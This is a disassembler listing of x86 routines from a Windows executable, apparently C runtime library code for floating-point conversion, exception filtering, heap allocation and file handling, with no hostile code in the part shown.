		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D438o
					; ___:0043DB78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
		dec	edi
		inc	edx
		add	[eax+1DBF7DE8h], dl
		add	ah, byte ptr dword_4DBFE8[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424F73	db 0FFh			; DATA XREF: ___:0042903Co
		dd 4DBFE835h, 6BE89000h, 0C3021DBFh

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600B3Ah
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 2600AAAh
		nop
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26B0AD3h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		call	near ptr 27E0000h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		call	near ptr 269086Bh
		nop
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
